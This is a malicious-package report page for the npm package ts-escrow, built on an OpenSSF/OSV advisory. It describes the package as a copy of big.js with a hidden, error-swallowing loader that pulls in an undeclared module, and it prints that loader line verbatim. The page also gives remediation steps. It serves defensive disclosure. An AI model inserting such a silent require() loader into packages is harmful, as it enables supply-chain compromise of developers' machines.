ts-escrow
This report shows the evidence for ts-escrow@0.1.0. 2 of 2 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6320 confirms this npm version as malicious.
Advisory
MAL-2026-6320
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in ts-escrow (npm)
Details
ts-escrow@0.1.0 is a verbatim copy of the big.js library (README, repository URL, author, version banner, and description all impersonate MikeMcl/big.js) republished under an unrelated name. Inserted between unrelated method definitions in big.js and big.mjs is a top-level, error-swallowing loader: `try { const doc = require('parket-slot'); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The 'parket-slot' module is not declared in package.json. The manifest instead declares an unrelated dependency 'log-taker1' (^0.1.0), also unrelated to big.js's documented zero-dependency posture. Any developer who installs ts-escrow and require()s it triggers loading of an attacker-controlled companion module at import time, with errors silently swallowed to evade detection. The combination of library impersonation, hidden require() of an undeclared package, and silent error handling is the textbook supply-chain trojan loader pattern.
## Source: ghsa-malware (0095bb7657066925a35684f9f134a0512ae5565f1b4a4b8ceade7a43173c5b86) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
References
Source & flagged code
0 flagged · loading sourceNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory
Affected versions and remediation
This report applies to ts-escrow@0.1.0.
The same advisory and Firewall decision cover 2 recorded versions
0.1.0, 0.0.9
The versions list below shows the verdict for each recorded version.
- Avoid installing ts-escrow@0.1.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
This report uses published external intelligence. The advisory does not provide a separate source-code analysis for each listed version.
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.